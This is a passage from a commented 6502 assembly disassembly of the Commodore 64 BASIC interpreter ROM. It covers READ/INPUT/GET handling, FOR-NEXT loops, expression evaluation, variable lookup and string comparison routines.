OutQuestMark ; print "? " and get BASIC input [ABF9] lda CurIoChan ; get current I/O channel beq A_ABEA ; branch if default I/O channel jsr ReadIoStatus ; read I/O status word [FFB7] and #$02 ; mask no DSR/timeout beq A_ABEA ; branch if not error jsr bcINPUTH2 ; close input and output channels [ABB5] jmp bcDATA ; perform DATA [A8F8] A_ABEA ; [ABEA] lda CommandBuf ; get first byte in input buffer bne A_AC0D ; branch if not null ; else .. lda CurIoChan ; get current I/O channel bne A_ABD6 ; if not default channel go get BASIC ; input jsr FindNextColon ; scan for next BASIC statement ([:] or ; [EOL]) [A906] jmp bcDATA2 ; add Y to the BASIC execute pointer ; and return [A8FB] ;****************************************************************************** ; ; print "? " and get BASIC input OutQuestMark ; [ABF9] lda CurIoChan ; get current I/O channel bne A_AC03 ; skip "?" prompt if not default channel jsr PrintQuestMark ; print "?" [AB45] jsr PrintSpace ; print [SPACE] or [CURSOR RIGHT] [AB3B] A_AC03 ; [AC03] jmp InputNewLine ; call for BASIC input and return [A560] ;****************************************************************************** ; ; perform READ bcREAD ldx DATPTR ; get DATA pointer LB ldy DATPTR+1 ; get DATA pointer HB lda #$98 ; set input mode = READ .byte $2C ; makes next line BIT $00A9 A_AC0D ; [AC0D] lda #$00 ; set input mode = INPUT ;****************************************************************************** ; ; perform GET bcREAD2 ; [AC0F] sta INPFLG ; set input mode flag, $00 = INPUT, ; $40 = GET, $98 = READ stx INPPTR ; save READ pointer LB sty INPPTR+1 ; save READ pointer HB ; READ, GET or INPUT next variable from list bcREAD3 ; [AC15] jsr GetAddrVar ; get variable address [B08B] sta FORPNT ; save address LB sty FORPNT+1 ; save address HB lda TXTPTR ; get BASIC execute pointer LB ldy TXTPTR+1 ; get BASIC execute pointer HB sta TEMPSTR ; save BASIC execute pointer LB sty TEMPSTR+1 ; save BASIC execute pointer HB ldx INPPTR ; get READ pointer LB ldy INPPTR+1 ; get READ pointer HB stx TXTPTR ; save as BASIC execute pointer LB sty TXTPTR+1 ; save as BASIC execute pointer HB jsr CHRGOT ; scan memory [0079] bne bcREAD4 ; branch if not null ; pointer was to null entry bit INPFLG ; test input mode flag, $00 = INPUT, ; $40 = GET, $98 = READ bvc A_AC41 ; branch if not GET ; else was GET jsr GetCharFromIO ; get character from input device with ; error check [E124] sta CommandBuf ; save to buffer ldx #<CommandBuf-1 ; set pointer LB ldy #>CommandBuf-1 ; set pointer HB bne A_AC4D ; go interpret single character A_AC41 ; [AC41] bmi A_ACB8 ; branch if READ ; else was INPUT lda CurIoChan ; get current I/O channel bne A_AC4A ; skip "?" prompt if not default channel jsr PrintQuestMark ; print "?" [AB45] A_AC4A ; [AC4A] jsr OutQuestMark ; print "? " and get BASIC input [ABF9] A_AC4D ; [AC4D] stx TXTPTR ; save BASIC execute pointer LB sty TXTPTR+1 ; save BASIC execute pointer HB bcREAD4 ; [AC51] jsr CHRGET ; increment and scan memory, execute ; pointer now points to [0073] ; start of next data or null terminator bit VALTYP ; test data type flag, $FF = string, ; $00 = numeric bpl A_AC89 ; branch if numeric ; type is string bit INPFLG ; test INPUT mode flag, $00 = INPUT, ; $40 = GET, $98 = READ bvc A_AC65 ; branch if not GET ; else do string GET inx ; clear X ?? stx TXTPTR ; save BASIC execute pointer LB lda #$00 ; clear A sta CHARAC ; clear search character beq A_AC71 ; branch always ; is string INPUT or string READ A_AC65 ; [AC65] sta CHARAC ; save search character cmp #'"' ; compare with " beq A_AC72 ; branch if quote ; string is not in quotes so ":", "," or $00 are the termination characters lda #':' ; set ":" sta CHARAC ; set search character lda #',' ; set "," A_AC71 ; [AC71] clc ; clear carry for add A_AC72 ; [AC72] sta ENDCHR ; set scan quotes flag lda TXTPTR ; get BASIC execute pointer LB ldy TXTPTR+1 ; get BASIC execute pointer HB adc #$00 ; add to pointer LB. this add increments ; the pointer if the mode is INPUT or ; READ and the data is a "..." string bcc A_AC7D ; branch if no rollover iny ; else increment pointer HB A_AC7D ; [AC7D] jsr PrtStr2UtiPtr ; print string to utility pointer [B48D] jsr RestBasExecPtr ; restore BASIC execute pointer from ; temp [B7E2] jsr SetValueString ; perform string LET [A9DA] jmp bcREAD5 ; continue processing command [AC91] ; GET, INPUT or READ is numeric A_AC89 ; [AC89] jsr String2FAC1 ; get FAC1 from string [BCF3] lda INTFLG ; get data type flag, $80 = integer, ; $00 = float jsr SetIntegerVar ; assign value to numeric variable ; [A9C2] bcREAD5 ; [AC91] jsr CHRGOT ; scan memory [0079] beq A_AC9D ; branch if ":" or [EOL] cmp #',' ; comparte with "," beq A_AC9D ; branch if "," jmp CheckINPFLG ; else go do bad input routine [AB4D] ; string terminated with ":", "," or $00 A_AC9D ; [AC9D] lda TXTPTR ; get BASIC execute pointer LB ldy TXTPTR+1 ; get BASIC execute pointer HB sta INPPTR ; save READ pointer LB sty INPPTR+1 ; save READ pointer HB lda TEMPSTR ; get saved BASIC execute pointer LB ldy TEMPSTR+1 ; get saved BASIC execute pointer HB sta TXTPTR ; restore BASIC execute pointer LB sty TXTPTR+1 ; restore BASIC execute pointer HB jsr CHRGOT ; scan memory [0079] beq A_ACDF ; branch if ":" or [EOL] jsr Chk4Comma ; scan for ",", else do syntax error ; then warm start [AEFD] jmp bcREAD3 ; go READ or INPUT next variable from ; list [AC15] ; was READ A_ACB8 ; [ACB8] jsr FindNextColon ; scan for next BASIC statement ([:] or ; [EOL]) [A906] iny ; increment index to next byte tax ; copy byte to X bne A_ACD1 ; branch if ":" ldx #$0D ; else set error $0D, out of data error iny ; incr. index to next line pointer HB lda (TXTPTR),Y ; get next line pointer HB beq A_AD32 ; branch if program end, eventually does ; error X iny ; increment index lda (TXTPTR),Y ; get next line # LB sta DATLIN ; save current DATA line LB iny ; increment index lda (TXTPTR),Y ; get next line # HB iny ; increment index sta DATLIN+1 ; save current DATA line HB A_ACD1 ; [ACD1] jsr bcDATA2 ; add Y to the BASIC execute pointer ; [A8FB] jsr CHRGOT ; scan memory [0079] tax ; copy the byte cpx #TK_DATA ; compare it with token for DATA bne A_ACB8 ; loop if not DATA jmp bcREAD4 ; continue evaluating READ [AC51] A_ACDF ; [ACDF] lda INPPTR ; get READ pointer LB ldy INPPTR+1 ; get READ pointer HB ldx INPFLG ; get INPUT mode flag, $00 = INPUT, ; $40 = GET, $98 = READ bpl A_ACEA ; branch if INPUT or GET jmp bcRESTORE2 ; else set data pointer and exit [A827] A_ACEA ; [ACEA] ldy #$00 ; clear index lda (INPPTR),Y ; get READ byte beq A_ACFB ; exit if [EOL] lda CurIoChan ; get current I/O channel bne A_ACFB ; exit if not default channel lda #<txtEXTRA ; set "?EXTRA IGNORED" pointer LB ldy #>txtEXTRA ; set "?EXTRA IGNORED" pointer HB jmp OutputString ; print null terminated string [AB1E] A_ACFB ; [ACFB] rts ;****************************************************************************** ; ; input error messages txtEXTRA ; [ACFC] .text "?EXTRA IGNORED",$0D,$00 txtREDOFROM ; [AD0C] .text "?REDO FROM START",$0D,$00 ;****************************************************************************** ; ; perform NEXT bcNEXT bne bcNEXT2 ; branch if NEXT variable ldy #$00 ; else clear Y beq A_AD27 ; branch always ; NEXT variable bcNEXT2 ; [AD24] jsr GetAddrVar ; get variable address [B08B] A_AD27 ; [AD27] sta FORPNT ; save FOR/NEXT variable pointer LB sty FORPNT+1 ; save FOR/NEXT variable pointer HB ; (HB cleared if no variable defined) jsr SrchForNext ; search the stack for FOR or GOSUB ; activity [A38A] beq A_AD35 ; branch if FOR, this variable, found ldx #$0A ; else set error $0A, next without for ; error A_AD32 ; [AD32] jmp OutputErrMsg ; do error #X then warm start [A437] ; found this FOR variable A_AD35 ; [AD35] txs ; update stack pointer txa ; copy stack pointer clc ; clear carry for add adc #$04 ; point to STEP value pha ; save it adc #$06 ; point to TO value sta INDEX+2 ; save pointer to TO variable for ; compare pla ; restore pointer to STEP value ldy #$01 ; point to stack page jsr UnpackAY2FAC1 ; unpack memory (AY) into FAC1 [BBA2] tsx ; get stack pointer back lda STACK+9,X ; get step sign sta FACSGN ; save FAC1 sign (b7) lda FORPNT ; get FOR/NEXT variable pointer LB ldy FORPNT+1 ; get FOR/NEXT variable pointer HB jsr AddFORvar2FAC1 ; add FOR variable to FAC1 [B867] jsr Fac1ToVarPtr ; pack FAC1 into FOR variable [BBD0] ldy #$01 ; point to stack page jsr CmpFAC1withAY2 ; compare FAC1 with TO value [BC5D] tsx ; get stack pointer back sec ; set carry for subtract sbc STACK+9,X ; subtract step sign beq A_AD78 ; branch if =, loop complete ; loop back and do it all again lda STACK+$0F,X ; get FOR line LB sta CURLIN ; save current line number LB lda STACK+$10,X ; get FOR line HB sta CURLIN+1 ; save current line number HB lda STACK+$12,X ; get BASIC execute pointer LB sta TXTPTR ; save BASIC execute pointer LB lda STACK+$11,X ; get BASIC execute pointer HB sta TXTPTR+1 ; save BASIC execute pointer HB A_AD75 ; [AD75] jmp InterpretLoop ; go do interpreter inner loop [A7AE] ; NEXT loop comlete A_AD78 ; [AD78] txa ; stack copy to A adc #$11 ; add $12, $11 + carry, to dump FOR ; structure tax ; copy back to index txs ; copy to stack pointer jsr CHRGOT ; scan memory [0079] cmp #',' ; compare with "," bne A_AD75 ; if not "," go do interpreter inner ; loop ; was "," so another NEXT variable to do jsr CHRGET ; increment and scan memory [0073] jsr bcNEXT2 ; do NEXT variable [AD24] ;****************************************************************************** ; ; evaluate expression and check type mismatch EvalExpression ; [AD8A] jsr EvaluateValue ; evaluate expression [AD9E] ; check if source and destination are numeric CheckIfNumeric ; [AD8D] clc .byte $24 ; makes next line BIT MEMSIZ+1 ; check if source and destination are string CheckIfString ; [AD8F] sec ; destination is string ; type match check, set C for string, clear C for numeric ChkIfNumStr ; [AD90] bit VALTYP ; test data type flag, $FF = string, ; $00 = numeric bmi A_AD97 ; branch if string bcs A_AD99 ; if destiantion is numeric do type ; missmatch error A_AD96 ; [AD96] rts A_AD97 ; [AD97] bcs A_AD96 ; exit if destination is string ; do type missmatch error A_AD99 ; [AD99] ldx #$16 ; error code $16, type missmatch error jmp OutputErrMsg ; do error #X then warm start [A437] ;****************************************************************************** ; ; evaluate expression EvaluateValue ; [AD9E] ldx TXTPTR ; get BASIC execute pointer LB bne A_ADA4 ; skip next if not zero dec TXTPTR+1 ; else decr. BASIC execute pointer HB A_ADA4 ; [ADA4] dec TXTPTR ; decrement BASIC execute pointer LB ldx #$00 ; set null precedence, flag done .byte $24 ; makes next line BIT VARPNT+1 EvaluateValue2 ; [ADA9] pha ; push compare evaluation byte if branch ; to here txa ; copy precedence byte pha ; push precedence byte lda #$01 ; 2 bytes jsr CheckRoomStack ; check room on stack for A*2 bytes ; [A3FB] jsr GetNextParm ; get value from line [AE83] lda #$00 ; clear A sta CompEvalFlg ; clear comparrison evaluation flag EvaluateValue3 ; [ADB8] jsr CHRGOT ; scan memory [0079] EvaluateValue4 ; [ADBB] sec ; set carry for subtract sbc #TK_GT ; subtract the token for ">" bcc A_ADD7 ; branch if < ">" cmp #$03 ; compare with ">" to +3 bcs A_ADD7 ; branch if >= 3 ; was token for ">" "=" or "<" cmp #$01 ; compare with token for = rol ; b0 := carry (=1 if token was = or <) eor #$01 ; toggle b0 eor CompEvalFlg ; EOR with comparrison evaluation flag cmp CompEvalFlg ; comp with comparrison evaluation flag bcc A_AE30 ; if < saved flag do syntax error then ; warm start sta CompEvalFlg ; save new comparrison evaluation flag jsr CHRGET ; increment and scan memory [0073] jmp EvaluateValue4 ; go do next character [ADBB] A_ADD7 ; [ADD7] ldx CompEvalFlg ; get comparrison evaluation flag bne A_AE07 ; branch if compare function bcs A_AE58 ; go do functions ; else was < TK_GT so is operator or lower adc #$07 ; add # of operators (+, -, *, /, ^, ; AND or OR) bcc A_AE58 ; branch if < + operator ; carry was set so token was +, -, *, /, ^, AND or OR adc VALTYP ; add data type flag, $FF = string, ; $00 = numeric bne A_ADE8 ; branch if not string or not + token ; will only be $00 if type is string and token was + jmp ConcatStrings ; add strings, string 1 is in the ; descriptor, string 2 [B63D] ; is in line, and return A_ADE8 ; [ADE8] adc #$FF ; -1 (corrects for carry add) sta INDEX ; save it asl ; *2 adc INDEX ; *3 tay ; copy to index A_ADF0 ; [ADF0] pla ; pull previous precedence cmp HierachyCode,Y ; compare with precedence byte bcs A_AE5D ; branch if A >= jsr CheckIfNumeric ; check if source is numeric, else do ; type mismatch [AD8D] A_ADF9 ; [ADF9] pha ; save precedence EvaluateValue5 ; [ADFA] jsr EvaluateValue6 ; get vector, execute function then ; continue evaluation [AE20] pla ; restore precedence ldy TEMPSTR ; get precedence stacked flag bpl A_AE19 ; branch if stacked values tax ; copy precedence, set flags beq A_AE5B ; exit if done bne A_AE66 ; branch always A_AE07 ; [AE07] lsr VALTYP ; clear data type flag, $FF = string, ; $00 = numeric txa ; copy compare function flag rol ; <<1, shift data type flag into b0, ; 1 = string, 0 = num ldx TXTPTR ; get BASIC execute pointer LB bne A_AE11 ; branch if no underflow dec TXTPTR+1 ; else decr. BASIC execute pointer HB A_AE11 ; [AE11] dec TXTPTR ; decrement BASIC execute pointer LB ldy #$1B ; set offset to = operator precedence ; entry sta CompEvalFlg ; save new comparrison evaluation flag bne A_ADF0 ; branch always A_AE19 ; [AE19] cmp HierachyCode,Y ; compare with stacked function ; precedence bcs A_AE66 ; if A >=, pop FAC2 and return bcc A_ADF9 ; else go stack this one and continue, ; branch always ;****************************************************************************** ; ; get vector, execute function then continue evaluation EvaluateValue6 ; [AE20] lda HierachyCode+2,Y ; get function vector HB pha ; onto stack lda HierachyCode+1,Y ; get function vector LB pha ; onto stack ; now push sign, round FAC1 and put on stack jsr EvaluateValue7 ; function will return here, then the ; next RTS will call the function [AE33] lda CompEvalFlg ; get comparrison evaluation flag jmp EvaluateValue2 ; continue evaluating expression [ADA9] A_AE30 ; [AE30] jmp SyntaxError ; do syntax error then warm start [AF08] EvaluateValue7 ; [AE33] lda FACSGN ; get FAC1 sign (b7) ldx HierachyCode,Y ; get precedence byte ;****************************************************************************** ; ; push sign, round FAC1 and put on stack SgnFac1ToStack ; [AE38] tay ; copy sign pla ; get return address LB sta INDEX ; save it inc INDEX ; increment it as return-1 is pushed. ; Note, no check is made on the HB so if the calling routine ever assembles to ; a page edge then this all goes horribly wrong! pla ; get return address HB sta INDEX+1 ; save it tya ; restore sign pha ; push sign ;****************************************************************************** ; ; round FAC1 and put on stack FAC1ToStack ; [AE43] jsr RoundFAC1 ; round FAC1 [BC1B] lda FacMantissa+3 ; get FAC1 mantissa 4 pha ; save it lda FacMantissa+2 ; get FAC1 mantissa 3 pha ; save it lda FacMantissa+1 ; get FAC1 mantissa 2 pha ; save it lda FacMantissa ; get FAC1 mantissa 1 pha ; save it lda FACEXP ; get FAC1 exponent pha ; save it jmp (INDEX) ; return, sort of ;****************************************************************************** ; ; do functions A_AE58 ; [AE58] ldy #$FF ; flag function pla ; pull precedence byte A_AE5B ; [AE5B] beq A_AE80 ; exit if done A_AE5D ; [AE5D] cmp #$64 ; compare previous precedence with $64 beq A_AE64 ; branch if was $64 (< function) jsr CheckIfNumeric ; check if source is numeric, else do ; type mismatch [AD8D] A_AE64 ; [AE64] sty TEMPSTR ; save precedence stacked flag ; pop FAC2 and return A_AE66 ; [AE66] pla ; pop byte lsr ; shift out comparison evaluation ; lowest bit sta TANSGN ; save the comparison evaluation flag pla ; pop exponent sta ARGEXP ; save FAC2 exponent pla ; pop mantissa 1 sta ArgMantissa ; save FAC2 mantissa 1 pla ; pop mantissa 2 sta ArgMantissa+1 ; save FAC2 mantissa 2 pla ; pop mantissa 3 sta ArgMantissa+2 ; save FAC2 mantissa 3 pla ; pop mantissa 4 sta ArgMantissa+3 ; save FAC2 mantissa 4 pla ; pop sign sta ARGSGN ; save FAC2 sign (b7) eor FACSGN ; EOR FAC1 sign (b7) sta ARISGN ; save sign compare (FAC1 EOR FAC2) A_AE80 ; [AE80] lda FACEXP ; get FAC1 exponent rts ;****************************************************************************** ; ; get value from line GetNextParm ; [AE83] jmp (IEVAL) ; get arithmetic element ;****************************************************************************** ; ; get arithmetic element, the get arithmetic element vector is initialised to ; point here GetNextParm2 ; [AE86] lda #$00 ; clear byte sta VALTYP ; clear data type flag, $FF = string, ; $00 = numeric A_AE8A ; [AE8A] jsr CHRGET ; increment and scan memory [0073] A_AE8D bcs A_AE92 ; branch if not numeric character ; else numeric string found (e.g. 123) A_AE8F ; [AE8F] jmp String2FAC1 ; get FAC1 from string and return [BCF3] ; get value from line .. continued ; wasn't a number so ... A_AE92 ; [AE92] jsr CheckAtoZ ; check byte, return Cb = 0 if < "A" or ; > "Z" [B113] bcc A_AE9A ; branch if not variable name jmp GetVariable ; variable name set-up and return [AF28] A_AE9A ; [AE9A] cmp #TK_PI ; compare with token for PI bne A_AEAD ; branch if not PI lda #<Tbl_PI_Value ; get PI pointer LB ldy #>Tbl_PI_Value ; get PI pointer HB jsr UnpackAY2FAC1 ; unpack memory (AY) into FAC1 [BBA2] jmp CHRGET ; increment and scan memory and return ; [0073] ;****************************************************************************** ; ; PI as floating number Tbl_PI_Value ; [AEA8] .byte $82,$49,$0F,$DA,$A1 ; 3.141592653 ;****************************************************************************** ; ; get value from line .. continued ; wasn't variable name so ... A_AEAD ; [AEAD] cmp #'.' ; compare with "." beq A_AE8F ; if so get FAC1 from string and return, ; e.g. was .123 ; wasn't .123 so ... cmp #TK_MINUS ; compare with token for - beq A_AF0D ; branch if - token, do set-up for ; functions ; wasn't -123 so ... cmp #TK_PLUS ; compare with token for + beq A_AE8A ; branch if + token, +1 = 1 so ignore ; leading + ; it wasn't any sort of number so ... cmp #'"' ; compare with " bne A_AECC ; branch if not open quote ; was open quote so get the enclosed string ;****************************************************************************** ; ; print "..." string to string utility area GetNextParm3 ; [AEBD] lda TXTPTR ; get BASIC execute pointer LB ldy TXTPTR+1 ; get BASIC execute pointer HB adc #$00 ; add carry to LB bcc A_AEC6 ; branch if no overflow iny ; increment HB A_AEC6 ; [AEC6] jsr QuoteStr2UtPtr ; print " terminated string to utility ; pointer [B487] jmp RestBasExecPtr ; restore BASIC execute pointer from ; temp and return [B7E2] ; get value from line .. continued ; wasn't a string so ... A_AECC ; [AECC] cmp #TK_NOT ; compare with token for NOT bne A_AEE3 ; branch if not token for NOT ; was NOT token ldy #$18 ; offset to NOT function bne A_AF0F ; do set-up for function then execute, ; branch always ; do = compare bcEQUAL jsr EvalInteger3 ; evaluate integer expression, no sign ; check [B1BF] lda FacMantissa+3 ; get FAC1 mantissa 4 eor #$FF ; invert it tay ; copy it lda FacMantissa+2 ; get FAC1 mantissa 3 eor #$FF ; invert it jmp ConvertAY2FAC1 ; convert fixed integer AY to float FAC1 ; and return [B391] ; get value from line .. continued ; wasn't a string or NOT so ... A_AEE3 ; [AEE3] cmp #TK_FN ; compare with token for FN bne A_AEEA ; branch if not token for FN jmp EvaluateFNx ; else go evaluate FNx [B3F4] ; get value from line .. continued ; wasn't a string, NOT or FN so ... A_AEEA ; [AEEA] cmp #TK_SGN ; compare with token for SGN bcc Chk4Parens ; if less than SGN token evaluate ; expression in parentheses ; else was a function token jmp GetReal ; go set up function references [AFA7] ; get value from line .. continued ; if here it can only be something in brackets so .... ; evaluate expression within parentheses Chk4Parens ; [AEF1] jsr Chk4OpenParen ; scan for "(", else do syntax error ; then warm start [AEFA] jsr EvaluateValue ; evaluate expression [AD9E] ; all the 'scan for' routines return the character after the sought character ; scan for ")", else do syntax error then warm start Chk4CloseParen ; [AEF7] lda #')' ; load A with ")" .byte $2C ; makes next line BIT RESHO+2A9 ; scan for "(", else do syntax error then warm start Chk4OpenParen ; [AEFA] lda #'(' ; load A with "(" .byte $2C ; makes next line BIT TXTTAB+1A9 ; scan for ",", else do syntax error then warm start Chk4Comma ; [AEFD] lda #',' ; load A with "," ; scan for CHR$(A), else do syntax error then warm start Chk4CharInA ; [AEFF] ldy #$00 ; clear index cmp (TXTPTR),Y ; compare with BASIC byte bne SyntaxError ; if not expected byte do syntax error ; then warm start jmp CHRGET ; else increment and scan memory and ; return [0073] ; syntax error then warm start SyntaxError ; [AF08] ldx #$0B ; error code $0B, syntax error jmp OutputErrMsg ; do error #X then warm start [A437] A_AF0D ; [AF0D] ldy #$15 ; set offset from base to > operator A_AF0F ; [AF0F] pla ; dump return address LB pla ; dump return address HB jmp EvaluateValue5 ; execute function then continue ; evaluation [ADFA] ;****************************************************************************** ; ; check address range, return C = 1 if address in BASIC ROM ChkIfVariable ; [AF14] sec ; set carry for subtract lda FacMantissa+2 ; get variable address LB sbc #<BasicCold ; subtract BasicCold LB lda FacMantissa+3 ; get variable address HB sbc #>BasicCold ; subtract BasicCold HB bcc A_AF27 ; exit if address < BasicCold lda #<DataCHRGET ; get end of BASIC marker LB sbc FacMantissa+2 ; subtract variable address LB lda #>DataCHRGET ; get end of BASIC marker HB sbc FacMantissa+3 ; subtract variable address HB A_AF27 ; [AF27] rts ;****************************************************************************** ; ; variable name set-up GetVariable ; [AF28] jsr GetAddrVar ; get variable address [B08B] sta FacMantissa+2 ; save variable pointer LB sty FacMantissa+3 ; save variable pointer HB ldx VARNAM ; get current variable name first char ldy VARNAM+1 ; get current variable name second char lda VALTYP ; get data type flag, $FF = string, ; $00 = numeric beq A_AF5D ; branch if numeric ; variable is string lda #$00 ; else clear A sta FACOV ; clear FAC1 rounding byte jsr ChkIfVariable ; check address range [AF14] bcc A_AF5C ; exit if not in BASIC ROM cpx #'T' ; compare variable name first character ; with "T" bne A_AF5C ; exit if not "T" cpy #'I'+$80 ; compare variable name second character ; with "I$" bne A_AF5C ; exit if not "I$" ; variable name was "TI$" jsr GetTime ; read real time clock into FAC1 ; mantissa, 0HML [AF84] sty FacTempStor+7 ; clear exponent count adjust dey ; Y = $FF sty FBUFPT ; set output string index, -1 to allow ; for pre increment ldy #$06 ; HH:MM:SS is six digits sty FacTempStor+6 ; set number of characters before the ; decimal point ldy #D_BF3A-D_BF16 ; index to jiffy conversion table jsr JiffyCnt2Str ; convert jiffy count to string [BE68] jmp bcSTR2 ; exit via STR$() code tail [B46F] A_AF5C ; [AF5C] rts ; variable name set-up, variable is numeric A_AF5D ; [AF5D] bit INTFLG ; test data type flag, $80 = integer, ; $00 = float bpl A_AF6E ; branch if float ldy #$00 ; clear index lda (FacMantissa+2),Y ; get integer variable LB tax ; copy to X iny ; increment index lda (FacMantissa+2),Y ; get integer variable HB tay ; copy to Y txa ; copy loa byte to A jmp ConvertAY2FAC1 ; convert fixed integer AY to float FAC1 ; and return [B391] ; variable name set-up, variable is float A_AF6E ; [AF6E] jsr ChkIfVariable ; check address range [AF14] bcc A_AFA0 ; if not in BASIC ROM get pointer and ; unpack into FAC1 cpx #'T' ; compare variable name first character ; with "T" bne A_AF92 ; branch if not "T" cpy #'I' ; compare variable name second character ; with "I" bne A_AFA0 ; branch if not "I" ; variable name was "TI" jsr GetTime ; read real time clock into FAC1 ; mantissa, 0HML [AF84] tya ; clear A ldx #$A0 ; set exponent to 32 bit value jmp J_BC4F ; set exponent = X and normalise FAC1 ; [BC4F] ;****************************************************************************** ; ; read real time clock into FAC1 mantissa, 0HML GetTime ; [AF84] jsr ReadClock ; read real time clock [FFDE] stx FacMantissa+2 ; save jiffy clock mid byte as FAC1 ; mantissa 3 sty FacMantissa+1 ; save jiffy clock HB as FAC1 ; mantissa 2 sta FacMantissa+3 ; save jiffy clock LB as FAC1 ; mantissa 4 ldy #$00 ; clear Y sty FacMantissa ; clear FAC1 mantissa 1 rts ; variable name set-up, variable is float and not "Tx" A_AF92 ; [AF92] cpx #'S' ; compare variable name first character ; with "S" bne A_AFA0 ; if not "S" go do normal floating ; variable cpy #'T' ; compare variable name second character ; with "T" bne A_AFA0 ; if not "T" go do normal floating ; variable ; variable name was "ST" jsr ReadIoStatus ; read I/O status word [FFB7] jmp AtoInteger ; save A as integer byte and return ; [BC3C] ; variable is float A_AFA0 ; [AFA0] lda FacMantissa+2 ; get variable pointer LB ldy FacMantissa+3 ; get variable pointer HB jmp UnpackAY2FAC1 ; unpack memory (AY) into FAC1 [BBA2] ;****************************************************************************** ; ; get value from line continued ; only functions left so .. ; set up function references GetReal ; [AFA7] asl ; *2 (2 bytes per function address) pha ; save function offset tax ; copy function offset jsr CHRGET ; increment and scan memory [0073] cpx #$8F ; compare function offset to CHR$ token ; offset+1 bcc A_AFD1 ; branch if < LEFT$ (can not be =) ; get value from line .. continued ; was LEFT$, RIGHT$ or MID$ so.. jsr Chk4OpenParen ; scan for "(", else do syntax error ; then warm start [AEFA] jsr EvaluateValue ; evaluate, should be string, expression ; [AD9E] jsr Chk4Comma ; scan for ",", else do syntax error ; then warm start [AEFD] jsr CheckIfString ; check if source is string, else do ; type mismatch [AD8F] pla ; restore function offset tax ; copy it lda FacMantissa+3 ; get descriptor pointer HB pha ; push string pointer HB lda FacMantissa+2 ; get descriptor pointer LB pha ; push string pointer LB txa ; restore function offset pha ; save function offset jsr GetByteParm2 ; get byte parameter [B79E] pla ; restore function offset tay ; copy function offset txa ; copy byte parameter to A pha ; push byte parameter jmp J_AFD6 ; go call function [AFD6] ; get value from line .. continued ; was SGN() to CHR$() so.. A_AFD1 ; [AFD1] jsr Chk4Parens ; evaluate expression within parentheses ; [AEF1] pla ; restore function offset tay ; copy to index J_AFD6 ; [AFD6] lda TblFunctions-$68,Y ; get function jump vector LB sta Jump0054+1 ; save functions jump vector LB lda TblFunctions-$67,Y ; get function jump vector HB sta Jump0054+2 ; save functions jump vector HB jsr Jump0054 ; do function call [0054] jmp CheckIfNumeric ; check if source is numeric and RTS, ; else do type mismatch string functions ; avoid this by dumping the return ; address [AD8D] ;****************************************************************************** ; ; perform OR ; this works because NOT(NOT(x) AND NOT(y)) = x OR y bcOR ; [AFE6] ldy #$FF ; set Y for OR .byte $2C ; makes next line BIT $00A0 ;****************************************************************************** ; ; perform AND bcAND ; [AFE9] ldy #$00 ; clear Y for AND sty COUNT ; set AND/OR invert value jsr EvalInteger3 ; evaluate integer expression, no sign ; check [B1BF] lda FacMantissa+2 ; get FAC1 mantissa 3 eor COUNT ; EOR LB sta CHARAC ; save it lda FacMantissa+3 ; get FAC1 mantissa 4 eor COUNT ; EOR HB sta ENDCHR ; save it jsr CopyFAC2toFAC1 ; copy FAC2 to FAC1, get 2nd value in ; expression [BBFC] jsr EvalInteger3 ; evaluate integer expression, no sign ; check [B1BF] lda FacMantissa+3 ; get FAC1 mantissa 4 eor COUNT ; EOR HB and ENDCHR ; AND with expression 1 HB eor COUNT ; EOR result HB tay ; save in Y lda FacMantissa+2 ; get FAC1 mantissa 3 eor COUNT ; EOR LB and CHARAC ; AND with expression 1 LB eor COUNT ; EOR result LB jmp ConvertAY2FAC1 ; convert fixed integer AY to float FAC1 ; and return [B391] ;****************************************************************************** ; ; perform comparisons ; do < compare bcSMALLER ; [D016] jsr ChkIfNumStr ; type match check, set C for string ; [AD90] bcs A_B02E ; branch if string ; do numeric < compare lda ARGSGN ; get FAC2 sign (b7) ora #$7F ; set all non sign bits and ArgMantissa ; and FAC2 mantissa 1 (AND in sign bit) sta ArgMantissa ; save FAC2 mantissa 1 lda #<ARGEXP ; set pointer LB to FAC2 ldy #>ARGEXP ; set pointer HB to FAC2 jsr CmpFAC1withAY ; compare FAC1 with (AY) [BC5B] tax ; copy the result jmp J_B061 ; go evaluate result [B061] ; do string < compare A_B02E ; [B02E] lda #$00 ; clear byte sta VALTYP ; clear data type flag, $FF = string, ; $00 = numeric dec CompEvalFlg ; clear < bit in comparrison evaluation ; flag jsr PopStrDescStk ; pop string off descriptor stack, or ; from top of string. Space returns with ; A = length, X = pointer LB, ; Y = pointer HB [B6A6] sta FACEXP ; save length stx FacMantissa ; save string pointer LB sty FacMantissa+1 ; save string pointer HB lda ArgMantissa+2 ; get descriptor pointer LB ldy ArgMantissa+3 ; get descriptor pointer HB jsr PopStrDescStk2 ; pop (YA) descriptor off stack or from ; top of string space returns with A = ; length, X = pointer low byte, ; Y = pointer high byte [B6AA] stx ArgMantissa+2 ; save string pointer LB sty ArgMantissa+3 ; save string pointer HB tax ; copy length sec ; set carry for subtract sbc FACEXP ; subtract string 1 length beq A_B056 ; branch if string 1 length = string 2 ; length lda #$01 ; set str 1 length > string 2 length bcc A_B056 ; branch if so ldx FACEXP ; get string 1 length lda #$FF ; set str 1 length < string 2 length A_B056 ; [B056] sta FACSGN ; save length compare ldy #$FF ; set index inx ; adjust for loop A_B05B ; [B05B] iny ; increment index dex ; decrement count bne A_B066 ; branch if still bytes to do ldx FACSGN ; get length compare back J_B061 ; [B061] bmi A_B072 ; branch if str 1 < str 2 clc ; flag str 1 <= str 2 bcc A_B072 ; go evaluate result A_B066 ; [B066] lda (ArgMantissa+2),Y ; get string 2 byte cmp (FacMantissa),Y ; compare with string 1 byte beq A_B05B ; loop if bytes = ldx #$FF ; set str 1 < string 2 bcs A_B072 ; branch if so ldx #$01 ; set str 1 > string 2 A_B072 ; [B072] inx ; x = 0, 1 or 2 txa ; copy to A rol ; * 2 (1, 2 or 4) and TANSGN ; AND with the comparison evaluation ; flag beq A_B07B ; branch if 0 (compare is false) lda #$FF ; else set result true A_B07B ; [B07B] jmp AtoInteger ; save A as integer byte and return ; [BC3C] A_B07E ; [B07E] jsr Chk4Comma ; scan for ",", else do syntax error ; then warm start [AEFD] ;****************************************************************************** ; ; perform DIM bcDIM ; [D081] tax ; copy "DIM" flag to X jsr GetAddrVar2 ; search for variable [B090] jsr CHRGOT ; scan memory [0079] bne A_B07E ; scan for "," and loop if not null rts ;****************************************************************************** ; ; search for variable GetAddrVar ; [B08B] ldx #$00 ; set DIM flag = $00 jsr CHRGOT ; scan memory, 1st character [0079] GetAddrVar2 ; [B090] stx DIMFLG ; save DIM flag GetAddrVar3 ; [B092] sta VARNAM ; save 1st character jsr 